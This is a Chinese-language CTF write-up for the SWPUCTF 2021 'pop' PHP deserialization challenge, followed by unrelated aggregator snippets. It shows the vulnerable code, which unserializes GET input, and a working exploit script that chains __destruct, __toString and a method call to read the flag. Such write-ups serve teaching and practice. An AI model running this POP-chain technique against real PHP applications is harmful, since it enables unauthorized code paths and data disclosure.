NSSCTF [SWPUCTF 2021 新生赛]pop

news/2024/11/16 3:30:56/文章来源:https://www.cnblogs.com/karasbai/p/18367980

进入就看见一串代码,直接开启代审

<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa'; protected $passwd = '123456';public function Getflag(){//通过该函数来获得flagif($this->admin === 'w44m' && $this->passwd ==='08067'){//当admin=w44m,passwd=08067时包含flag.phpinclude('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){//__destruct() 类的析构函数,在对象被销毁时被调用echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){//__toString(),这个方法的对象被当作字符串时执行$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);//对w00m进行反序列化?>

通过上面的分析我们知道,flag.php被包含在Getflag这个方法中,我们需要使用某种手段来调用它,而w33m类里面有__toString()方法,当对象被当作字符串时执行。因此我们可以通过设置w44m的两个对象admin和passwd分别为w44m和08067,然后在w22m中赋值$w00m为w33m,并通过w22m调用w33m,分别为w33m的两个对象赋值,$w00m->w44m,$w22m->Getflag,,最后对w22m进行序列化和url加密。最终得到以下exp:

<?php
class w44m{private $admin = 'w44m';protected $passwd = '08067';}
class w22m{public $w00m;}
class w33m{public $w00m;public $w22m;}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
$b=urlencode(serialize($a));
echo $b;

给w00m传递刚刚运行的结果,获取到flag。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/783947.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

性能测试之中间件:告诉你什么是 kafka 和 MQ ?

在如今这个数据驱动的时代,中间件在性能测试中扮演着至关重要的角色。你是否曾听说过Kafka和MQ,却不清楚它们在实际应用中具体的作用是什么?让我们一起来揭开它们的神秘面纱。 Kafka和MQ究竟是什么?它们在性能测试中如何发挥作用,又为何成为现代分布式系统中的关键组成部分…

tcp与udp的总结+connect阻塞+tcp三次握手、四次挥手+常见的服务器IO(发送数据+接收数据)模型

一,TCP与UDP的基本总结 TCP(传输控制协议)和UDP(用户数据报协议)是两种主要的传输层协议。TCP是面向连接的,提供可靠、顺序的传输,适用于需要高可靠性的应用,如网页浏览和文件传输。它通过重传机制和流量控制确保数据完整性。UDP是无连接的,速度快但不保证数据的可靠性…

tcp与udp的总结+connect阻塞+tcp三次握手、四次挥手

一,TCP与UDP的基本总结 TCP(传输控制协议)和UDP(用户数据报协议)是两种主要的传输层协议。TCP是面向连接的,提供可靠、顺序的传输,适用于需要高可靠性的应用,如网页浏览和文件传输。它通过重传机制和流量控制确保数据完整性。UDP是无连接的,速度快但不保证数据的可靠性…

【Linux_install】详细的Ubuntu和win双系统安装指南

@目录1.前期准备1.1 制作启动盘1.2关闭快速启动、安全启动、bitlocker1.2.1 原因1.2.2 进入BIOSshell命令行进入BIOSwindows设置中高级启动在开机时狂按某个键进入BIOS1.2.3 关闭Fast boot和Secure boot1.3 划分磁盘空间1.3.1 查看目前的虚拟内存大小2.开始安装2.1 使用启动盘启…

OpenCV-Python系列之对极几何

点击查看代码 import numpy as np import cv2 as cv img1=cv.imread("data1/1.png",0) # queryimage left image img2=cv.imread("data1/2.png",0) # trainimage right image sift=cv.SIFT_create() # sift1=cv.xfeatures2d.SIFT_create()kp1,des1=sift.d…

Centos7使用RPM包安装Oracle21c数据库(EE)

Centos7使用RPM包安装Oracle21c数据库(EE) 官方下载链接21c标准版 安装包信息: 文件名:LINUX.X64_213000_db_home.zip (64-bit) (3,109,225,519 bytes) (sha256sum - c05d5c32a72b9bf84ab6babb49aee99cbb403930406aabe3cf2f94f1d35e0916)21c xe版 安装包信息: 文件名:ora…

相交两圆

这篇写的太早了,我自己也看不懂,现在找不到啥基础题适合放了。反正把构型掌握了就好。 Reim引理如图,两圆交于 \(A,B\) 两点,若 \(CD,EF\) 是两圆的弦,满足 \(CAE,DBF\) 分别共线,则 \(CD//EF\) 逆定理:若 \(ABCD\) 共圆,\(E,F\) 分别在 \(CA,DB\) 的延长线上,并满足 …

Centos7使用RPM包安装Oracle21c数据库(XE)

Centos7使用RPM包安装Oracle21c数据库(XE) 官方下载链接21c标准版 安装包信息: 文件名:LINUX.X64_213000_db_home.zip (64-bit) (3,109,225,519 bytes) (sha256sum - c05d5c32a72b9bf84ab6babb49aee99cbb403930406aabe3cf2f94f1d35e0916)21c xe版 安装包信息: 文件名:ora…

工厂模式

工厂模式 核心本质: 实例化对象不使用new,用工厂方法创建对象 使用工厂统一管理对象的创建,将调用者跟实现类解耦 三种模式:简单工厂模式建立一个工厂类,对实现了同一接口的一些类进行实例的创建。优点是比较好理解,简单易操作。 缺点是类的创建依赖工厂类,如果想要拓展…

【OpenCV教程】滤波和边缘检测的过程

@目录1.均值滤波1.1 卷积核形状1.2 API1.3 效果2.高斯滤波2.1 卷积核形状2.2 API2.3 效果3.中值滤波3.1 原理3.2 API3.3 效果4.高斯双边滤波4.1 原理4.2 API4.3 效果5.获取用来形态学操作的滤波器6.腐蚀和膨胀(对二值图)6.1 原理6.2 腐蚀API6.3 效果6.4 膨胀API6.5 效果7.形态…

Excel公式和基本函数

输入完公式,点击回车,即可显示出值,<>是不等号